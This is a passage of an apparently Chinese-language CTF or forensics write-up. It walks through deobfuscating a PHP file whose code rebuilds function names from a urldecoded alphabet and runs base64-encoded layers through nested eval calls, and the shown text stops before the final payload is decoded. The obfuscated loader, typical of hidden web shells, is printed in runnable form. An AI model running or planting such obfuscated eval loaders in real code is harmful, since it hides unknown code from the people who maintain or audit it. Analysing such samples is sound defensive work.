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";
echo "\n";
echo ('?>'.$BwltqOYbHaQkRPNoxcfnFmzsIjhdMDAWUeKGgviVrJZpLuXETSyC($hYXlTgBqWApObxJvejPRSdHGQnauDisfENIFyocrkULwmKMCtVzZ($vNwTOsKPEAlLciJDBhWtRSHXempIrjyQUuGoaknYCdFzqZMxfbgV($NviuywCePWEGlacAmfjrgBMTYXzHZpIxDqQnsUKkhotFSORdVJLb,$ciMfTXpPoJHzZBxLOvngjQCbdIGkYlVNSumFrAUeWasKyEtwhDqR*2),$vNwTOsKPEAlLciJDBhWtRSHXempIrjyQUuGoaknYCdFzqZMxfbgV($NviuywCePWEGlacAmfjrgBMTYXzHZpIxDqQnsUKkhotFSORdVJLb,$ciMfTXpPoJHzZBxLOvngjQCbdIGkYlVNSumFrAUeWasKyEtwhDqR,$ciMfTXpPoJHzZBxLOvngjQCbdIGkYlVNSumFrAUeWasKyEtwhDqR),$vNwTOsKPEAlLciJDBhWtRSHXempIrjyQUuGoaknYCdFzqZMxfbgV($NviuywCePWEGlacAmfjrgBMTYXzHZpIxDqQnsUKkhotFSORdVJLb,0,$ciMfTXpPoJHzZBxLOvngjQCbdIGkYlVNSumFrAUeWasKyEtwhDqR))));

?>

image-20241218195341-2yqw3us

得到下面一大串，然后去美化一下 [Php在线解美化、混淆、加密、解密 - 在线工具](https://tool.lu/php/)

<?php
define('zkcdmiFTVJHQyqohtKrnxsLwfCDpUIYjREZBMWlPXOvuNgSbaeAG', pfkzYUelxEGmVcdDNLTjXCSIgMBKOuHAFyRtaboqwJiQWvsZrPhn);
$BVNbCcjoqanurQehIgEOmLGZMUzyTxPstkwAvfpSKRXlJidWDFYH = urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");
$ayNqneorDHxFBSwcKhLjJPtOiCfYAgZvblXURTWVmpEMQGkzIdsu = $BVNbCcjoqanurQehIgEOmLGZMUzyTxPstkwAvfpSKRXlJidWDFYH[3] . $BVNbCcjoqanurQehIgEOmLGZMUzyTxPstkwAvfpSKRXlJidWDFYH[6] . $BVNbCcjoqanurQehIgEOmLGZMUzyTxPstkwAvfpSKRXlJidWDFYH[33] . $BVNbCcjoqanurQehIgEOmLGZMUzyTxPstkwAvfpSKRXlJidWDFYH[30];
$YGZHvipCuzOVqrWTQFlfyBItPshbcxeJMKaEXomwRgnUkSdALNDj = $BVNbCcjoqanurQehIgEOmLGZMUzyTxPstkwAvfpSKRXlJidWDFYH[33] . $BVNbCcjoqanurQehIgEOmLGZMUzyTxPstkwAvfpSKRXlJidWDFYH[10] . $BVNbCcjoqanurQehIgEOmLGZMUzyTxPstkwAvfpSKRXlJidWDFYH[24] . $BVNbCcjoqanurQehIgEOmLGZMUzyTxPstkwAvfpSKRXlJidWDFYH[10] . $BVNbCcjoqanurQehIgEOmLGZMUzyTxPstkwAvfpSKRXlJidWDFYH[24];
$TdpMJkhXEqZNcPaxbyKWGzVtegQnrYLOFiujDCmHRlwABoUIvSsf = $YGZHvipCuzOVqrWTQFlfyBItPshbcxeJMKaEXomwRgnUkSdALNDj[0] . $BVNbCcjoqanurQehIgEOmLGZMUzyTxPstkwAvfpSKRXlJidWDFYH[18] . $BVNbCcjoqanurQehIgEOmLGZMUzyTxPstkwAvfpSKRXlJidWDFYH[3] . $YGZHvipCuzOVqrWTQFlfyBItPshbcxeJMKaEXomwRgnUkSdALNDj[0] . $YGZHvipCuzOVqrWTQFlfyBItPshbcxeJMKaEXomwRgnUkSdALNDj[1] . $BVNbCcjoqanurQehIgEOmLGZMUzyTxPstkwAvfpSKRXlJidWDFYH[24];
$szecmYuarlxFUIWyobtfnLNJQTCDvPkVSGHgEZiXhOMKwpBdAjqR = $BVNbCcjoqanurQehIgEOmLGZMUzyTxPstkwAvfpSKRXlJidWDFYH[7] . $BVNbCcjoqanurQehIgEOmLGZMUzyTxPstkwAvfpSKRXlJidWDFYH[13];
$ayNqneorDHxFBSwcKhLjJPtOiCfYAgZvblXURTWVmpEMQGkzIdsu .= $BVNbCcjoqanurQehIgEOmLGZMUzyTxPstkwAvfpSKRXlJidWDFYH[22] . $BVNbCcjoqanurQehIgEOmLGZMUzyTxPstkwAvfpSKRXlJidWDFYH[36] . $BVNbCcjoqanurQehIgEOmLGZMUzyTxPstkwAvfpSKRXlJidWDFYH[29] . $BVNbCcjoqanurQehIgEOmLGZMUzyTxPstkwAvfpSKRXlJidWDFYH[26] . $BVNbCcjoqanurQehIgEOmLGZMUzyTxPstkwAvfpSKRXlJidWDFYH[30] . $BVNbCcjoqanurQehIgEOmLGZMUzyTxPstkwAvfpSKRXlJidWDFYH[32] . $BVNbCcjoqanurQehIgEOmLGZMUzyTxPstkwAvfpSKRXlJidWDFYH[35] . $BVNbCcjoqanurQehIgEOmLGZMUzyTxPstkwAvfpSKRXlJidWDFYH[26] . $BVNbCcjoqanurQehIgEOmLGZMUzyTxPstkwAvfpSKRXlJidWDFYH[30];
eval($ayNqneorDHxFBSwcKhLjJPtOiCfYAgZvblXURTWVmpEMQGkzIdsu("JEZOaHZaR0pnVlFVbXpycGxqZXFrT1lNU0liVHRvc0tMQnhSV2FIaUNjRUR1ZFhBd1B5Zm49IlpuenZyRGVzSWlNbUFKUEN0VnBYd1NRR2FsVUxoV29keWNGRVR4Z1l1YlJCSEtPa05qZnFzYVJKeVlxT0tjVXJtV0F2bGJnZk1QRkhvd3RoalZkaVRJcFhCRW5RWnpTTHVHa0NEZU54QVk5TW91bW5BUjQ9IjtldmFsKCc/PicuJGF5TnFuZW9yREh4RkJTd2NLaExqSlB0T2lDZllBZ1p2YmxYVVJUV1ZtcEVNUUdreklkc3UoJFlHWkh2aXBDdXpPVnFyV1RRRmxmeUJJdFBzaGJjeGVKTUthRVhvbXdSZ25Va1NkQUxORGooJFRkcE1Ka2hYRXFaTmNQYXhieUtXR3pWdGVnUW5yWUxPRml1akRDbUhSbHdBQm9VSXZTc2YoJEZOaHZaR0pnVlFVbXpycGxqZXFrT1lNU0liVHRvc0tMQnhSV2FIaUNjRUR1ZFhBd1B5Zm4sJHN6ZWNtWXVhcmx4RlVJV3lvYnRmbkxOSlFUQ0R2UGtWU0dIZ0VaaVhoT01Ld3BCZEFqcVIqMiksJFRkcE1Ka2hYRXFaTmNQYXhieUtXR3pWdGVnUW5yWUxPRml1akRDbUhSbHdBQm9VSXZTc2YoJEZOaHZaR0pnVlFVbXpycGxqZXFrT1lNU0liVHRvc0tMQnhSV2FIaUNjRUR1ZFhBd1B5Zm4sJHN6ZWNtWXVhcmx4RlVJV3lvYnRmbkxOSlFUQ0R2UGtWU0dIZ0VaaVhoT01Ld3BCZEFqcVIsJHN6ZWNtWXVhcmx4RlVJV3lvYnRmbkxOSlFUQ0R2UGtWU0dIZ0VaaVhoT01Ld3BCZEFqcVIpLCRUZHBNSmtoWEVxWk5jUGF4YnlLV0d6VnRlZ1FucllMT0ZpdWpEQ21IUmx3QUJvVUl2U3NmKCRGTmh2WkdKZ1ZRVW16cnBsamVxa09ZTVNJYlR0b3NLTEJ4UldhSGlDY0VEdWRYQXdQeWZuLDAsJHN6ZWNtWXVhcmx4RlVJV3lvYnRmbkxOSlFUQ0R2UGtWU0dIZ0VaaVhoT01Ld3BCZEFqcVIpKSkpOw=="));
define('njVysBZvxrLkFYdNofcgGuawDJblpOSQEHRUmKiAhzICetPMqXWT', pfkzYUelxEGmVcdDNLTjXCSIgMBKOuHAFyRtaboqwJiQWvsZrPhn);
$OlnDkzNeqvjKmYhMBISxJCuZfQRwLWHGFstUcAoXVyrbiETPadgp = urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");
$HbXdtGUkeEDlRgpwsarfnVYoTSKIcPvhCWjBizQLZxFMuymANqJO = $OlnDkzNeqvjKmYhMBISxJCuZfQRwLWHGFstUcAoXVyrbiETPadgp[3] . $OlnDkzNeqvjKmYhMBISxJCuZfQRwLWHGFstUcAoXVyrbiETPadgp[6] . $OlnDkzNeqvjKmYhMBISxJCuZfQRwLWHGFstUcAoXVyrbiETPadgp[33] . $OlnDkzNeqvjKmYhMBISxJCuZfQRwLWHGFstUcAoXVyrbiETPadgp[30];
$IoceCnqVKOFkrlRjUPEdNhAuSMJBzmGvTLytisgpZYbQXHfDwWxa = $OlnDkzNeqvjKmYhMBISxJCuZfQRwLWHGFstUcAoXVyrbiETPadgp[33] . $OlnDkzNeqvjKmYhMBISxJCuZfQRwLWHGFstUcAoXVyrbiETPadgp[10] . $OlnDkzNeqvjKmYhMBISxJCuZfQRwLWHGFstUcAoXVyrbiETPadgp[24] . $OlnDkzNeqvjKmYhMBISxJCuZfQRwLWHGFstUcAoXVyrbiETPadgp[10] . $OlnDkzNeqvjKmYhMBISxJCuZfQRwLWHGFstUcAoXVyrbiETPadgp[24];
$DcbyPNpYSKuECvekIVZlOQFTMwgXinAfaoHdzqhGWRrLsmJBjUtx = $IoceCnqVKOFkrlRjUPEdNhAuSMJBzmGvTLytisgpZYbQXHfDwWxa[0] . $OlnDkzNeqvjKmYhMBISxJCuZfQRwLWHGFstUcAoXVyrbiETPadgp[18] . $OlnDkzNeqvjKmYhMBISxJCuZfQRwLWHGFstUcAoXVyrbiETPadgp[3] . $IoceCnqVKOFkrlRjUPEdNhAuSMJBzmGvTLytisgpZYbQXHfDwWxa[0] . $IoceCnqVKOFkrlRjUPEdNhAuSMJBzmGvTLytisgpZYbQXHfDwWxa[1] . $OlnDkzNeqvjKmYhMBISxJCuZfQRwLWHGFstUcAoXVyrbiETPadgp[24];
$kcwKbSghWizYEuAGDOTFaHXQRtnLyBlJpCImejsrNvZqPUVxfMdo = $OlnDkzNeqvjKmYhMBISxJCuZfQRwLWHGFstUcAoXVyrbiETPadgp[7] . $OlnDkzNeqvjKmYhMBISxJCuZfQRwLWHGFstUcAoXVyrbiETPadgp[13];
$HbXdtGUkeEDlRgpwsarfnVYoTSKIcPvhCWjBizQLZxFMuymANqJO .= $OlnDkzNeqvjKmYhMBISxJCuZfQRwLWHGFstUcAoXVyrbiETPadgp[22] . $OlnDkzNeqvjKmYhMBISxJCuZfQRwLWHGFstUcAoXVyrbiETPadgp[36] . $OlnDkzNeqvjKmYhMBISxJCuZfQRwLWHGFstUcAoXVyrbiETPadgp[29] . $OlnDkzNeqvjKmYhMBISxJCuZfQRwLWHGFstUcAoXVyrbiETPadgp[26] . $OlnDkzNeqvjKmYhMBISxJCuZfQRwLWHGFstUcAoXVyrbiETPadgp[30] . $OlnDkzNeqvjKmYhMBISxJCuZfQRwLWHGFstUcAoXVyrbiETPadgp[32] . $OlnDkzNeqvjKmYhMBISxJCuZfQRwLWHGFstUcAoXVyrbiETPadgp[35] . $OlnDkzNeqvjKmYhMBISxJCuZfQRwLWHGFstUcAoXVyrbiETPadgp[26] . $OlnDkzNeqvjKmYhMBISxJCuZfQRwLWHGFstUcAoXVyrbiETPadgp[30];
eval($HbXdtGUkeEDlRgpwsarfnVYoTSKIcPvhCWjBizQLZxFMuymANqJO("JEhmdVNnTUJPeGhvdnJ0bm1ZemtVR0ZFWnNpRFh5SklsYktDV2pwVkxQVHdjcWVhTkFSZFE9Ild0Q3hzcUV1TE5UU0dSa1ZmWktIalVZUElvZ25CaUZocmJ5T1hhY0FlbG13cEpkenZRRE1GYlJZbkxlV3VHVEtzTlp2T3BjZ0VydFhCeENRbGpWZkR3U215cUhpa1BNemRKYUlvQWhVWGg5enFnaUdSTWZkcDJmbnFGYXhhVjlNcUZZUGNzNUx2UVBJQVBkMmtnSlVxMHBwcGU1b3BNR1FOM3ZmYTBOY3RNWXpUMUdOTnJmS3ZGMXVxclZ4a1pQaHB5TkFUeVZ0djFBZG16MGNBc3YydEZ6eEpWOUFUMUdyRjNQYndzUElxeUdkSDJQb3cyYmFjVG49IjtldmFsKCc/PicuJEhiWGR0R1VrZUVEbFJncHdzYXJmblZZb1RTS0ljUHZoQ1dqQml6UUxaeEZNdXltQU5xSk8oJElvY2VDbnFWS09Ga3JsUmpVUEVkTmhBdVNNSkJ6bUd2VEx5dGlzZ3BaWWJRWEhmRHdXeGEoJERjYnlQTnBZU0t1RUN2ZWtJVlpsT1FGVE13Z1hpbkFmYW9IZHpxaEdXUnJMc21KQmpVdHgoJEhmdVNnTUJPeGhvdnJ0bm1ZemtVR0ZFWnNpRFh5SklsYktDV2pwVkxQVHdjcWVhTkFSZFEsJGtjd0tiU2doV2l6WUV1QUdET1RGYUhYUVJ0bkx5QmxKcENJbWVqc3JOdlpxUFVWeGZNZG8qMiksJERjYnlQTnBZU0t1RUN2ZWtJVlpsT1FGVE13Z1hpbkFmYW9IZHpxaEdXUnJMc21KQmpVdHgoJEhmdVNnTUJPeGhvdnJ0bm1ZemtVR0ZFWnNpRFh5SklsYktDV2pwVkxQVHdjcWVhTkFSZFEsJGtjd0tiU2doV2l6WUV1QUdET1RGYUhYUVJ0bkx5QmxKcENJbWVqc3JOdlpxUFVWeGZNZG8sJGtjd0tiU2doV2l6WUV1QUdET1RGYUhYUVJ0bkx5QmxKcENJbWVqc3JOdlpxUFVWeGZNZG8pLCREY2J5UE5wWVNLdUVDdmVrSVZabE9RRlRNd2dYaW5BZmFvSGR6cWhHV1JyTHNtSkJqVXR4KCRIZnVTZ01CT3hob3ZydG5tWXprVUdGRVpzaURYeUpJbGJLQ1dqcFZMUFR3Y3FlYU5BUmRRLDAsJGtjd0tiU2doV2l6WUV1QUdET1RGYUhYUVJ0bkx5QmxKcENJbWVqc3JOdlpxUFVWeGZNZG8pKSkpOw=="));
?>

<?php

然后直接去打印一下 eval 里面执行的结果

<?php
//define('zkcdmiFTVJHQyqohtKrnxsLwfCDpUIYjREZBMWlPXOvuNgSbaeAG', pfkzYUelxEGmVcdDNLTjXCSIgMBKOuHAFyRtaboqwJiQWvsZrPhn);
$BVNbCcjoqanurQehIgEOmLGZMUzyTxPstkwAvfpSKRXlJidWDFYH = urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");
$ayNqneorDHxFBSwcKhLjJPtOiCfYAgZvblXURTWVmpEMQGkzIdsu = $BVNbCcjoqanurQehIgEOmLGZMUzyTxPstkwAvfpSKRXlJidWDFYH[3] . $BVNbCcjoqanurQehIgEOmLGZMUzyTxPstkwAvfpSKRXlJidWDFYH[6] . $BVNbCcjoqanurQehIgEOmLGZMUzyTxPstkwAvfpSKRXlJidWDFYH[33] . $BVNbCcjoqanurQehIgEOmLGZMUzyTxPstkwAvfpSKRXlJidWDFYH[30];
$YGZHvipCuzOVqrWTQFlfyBItPshbcxeJMKaEXomwRgnUkSdALNDj = $BVNbCcjoqanurQehIgEOmLGZMUzyTxPstkwAvfpSKRXlJidWDFYH[33] . $BVNbCcjoqanurQehIgEOmLGZMUzyTxPstkwAvfpSKRXlJidWDFYH[10] . $BVNbCcjoqanurQehIgEOmLGZMUzyTxPstkwAvfpSKRXlJidWDFYH[24] . $BVNbCcjoqanurQehIgEOmLGZMUzyTxPstkwAvfpSKRXlJidWDFYH[10] . $BVNbCcjoqanurQehIgEOmLGZMUzyTxPstkwAvfpSKRXlJidWDFYH[24];
$TdpMJkhXEqZNcPaxbyKWGzVtegQnrYLOFiujDCmHRlwABoUIvSsf = $YGZHvipCuzOVqrWTQFlfyBItPshbcxeJMKaEXomwRgnUkSdALNDj[0] . $BVNbCcjoqanurQehIgEOmLGZMUzyTxPstkwAvfpSKRXlJidWDFYH[18] . $BVNbCcjoqanurQehIgEOmLGZMUzyTxPstkwAvfpSKRXlJidWDFYH[3] . $YGZHvipCuzOVqrWTQFlfyBItPshbcxeJMKaEXomwRgnUkSdALNDj[0] . $YGZHvipCuzOVqrWTQFlfyBItPshbcxeJMKaEXomwRgnUkSdALNDj[1] . $BVNbCcjoqanurQehIgEOmLGZMUzyTxPstkwAvfpSKRXlJidWDFYH[24];
$szecmYuarlxFUIWyobtfnLNJQTCDvPkVSGHgEZiXhOMKwpBdAjqR = $BVNbCcjoqanurQehIgEOmLGZMUzyTxPstkwAvfpSKRXlJidWDFYH[7] . $BVNbCcjoqanurQehIgEOmLGZMUzyTxPstkwAvfpSKRXlJidWDFYH[13];
$ayNqneorDHxFBSwcKhLjJPtOiCfYAgZvblXURTWVmpEMQGkzIdsu .= $BVNbCcjoqanurQehIgEOmLGZMUzyTxPstkwAvfpSKRXlJidWDFYH[22] . $BVNbCcjoqanurQehIgEOmLGZMUzyTxPstkwAvfpSKRXlJidWDFYH[36] . $BVNbCcjoqanurQehIgEOmLGZMUzyTxPstkwAvfpSKRXlJidWDFYH[29] . $BVNbCcjoqanurQehIgEOmLGZMUzyTxPstkwAvfpSKRXlJidWDFYH[26] . $BVNbCcjoqanurQehIgEOmLGZMUzyTxPstkwAvfpSKRXlJidWDFYH[30] . $BVNbCcjoqanurQehIgEOmLGZMUzyTxPstkwAvfpSKRXlJidWDFYH[32] . $BVNbCcjoqanurQehIgEOmLGZMUzyTxPstkwAvfpSKRXlJidWDFYH[35] . $BVNbCcjoqanurQehIgEOmLGZMUzyTxPstkwAvfpSKRXlJidWDFYH[26] . $BVNbCcjoqanurQehIgEOmLGZMUzyTxPstkwAvfpSKRXlJidWDFYH[30];
//eval($ayNqneorDHxFBSwcKhLjJPtOiCfYAgZvblXURTWVmpEMQGkzIdsu("JEZOaHZaR0pnVlFVbXpycGxqZXFrT1lNU0liVHRvc0tMQnhSV2FIaUNjRUR1ZFhBd1B5Zm49IlpuenZyRGVzSWlNbUFKUEN0VnBYd1NRR2FsVUxoV29keWNGRVR4Z1l1YlJCSEtPa05qZnFzYVJKeVlxT0tjVXJtV0F2bGJnZk1QRkhvd3RoalZkaVRJcFhCRW5RWnpTTHVHa0NEZU54QVk5TW91bW5BUjQ9IjtldmFsKCc/PicuJGF5TnFuZW9yREh4RkJTd2NLaExqSlB0T2lDZllBZ1p2YmxYVVJUV1ZtcEVNUUdreklkc3UoJFlHWkh2aXBDdXpPVnFyV1RRRmxmeUJJdFBzaGJjeGVKTUthRVhvbXdSZ25Va1NkQUxORGooJFRkcE1Ka2hYRXFaTmNQYXhieUtXR3pWdGVnUW5yWUxPRml1akRDbUhSbHdBQm9VSXZTc2YoJEZOaHZaR0pnVlFVbXpycGxqZXFrT1lNU0liVHRvc0tMQnhSV2FIaUNjRUR1ZFhBd1B5Zm4sJHN6ZWNtWXVhcmx4RlVJV3lvYnRmbkxOSlFUQ0R2UGtWU0dIZ0VaaVhoT01Ld3BCZEFqcVIqMiksJFRkcE1Ka2hYRXFaTmNQYXhieUtXR3pWdGVnUW5yWUxPRml1akRDbUhSbHdBQm9VSXZTc2YoJEZOaHZaR0pnVlFVbXpycGxqZXFrT1lNU0liVHRvc0tMQnhSV2FIaUNjRUR1ZFhBd1B5Zm4sJHN6ZWNtWXVhcmx4RlVJV3lvYnRmbkxOSlFUQ0R2UGtWU0dIZ0VaaVhoT01Ld3BCZEFqcVIsJHN6ZWNtWXVhcmx4RlVJV3lvYnRmbkxOSlFUQ0R2UGtWU0dIZ0VaaVhoT01Ld3BCZEFqcVIpLCRUZHBNSmtoWEVxWk5jUGF4YnlLV0d6VnRlZ1FucllMT0ZpdWpEQ21IUmx3QUJvVUl2U3NmKCRGTmh2WkdKZ1ZRVW16cnBsamVxa09ZTVNJYlR0b3NLTEJ4UldhSGlDY0VEdWRYQXdQeWZuLDAsJHN6ZWNtWXVhcmx4RlVJV3lvYnRmbkxOSlFUQ0R2UGtWU0dIZ0VaaVhoT01Ld3BCZEFqcVIpKSkpOw=="));
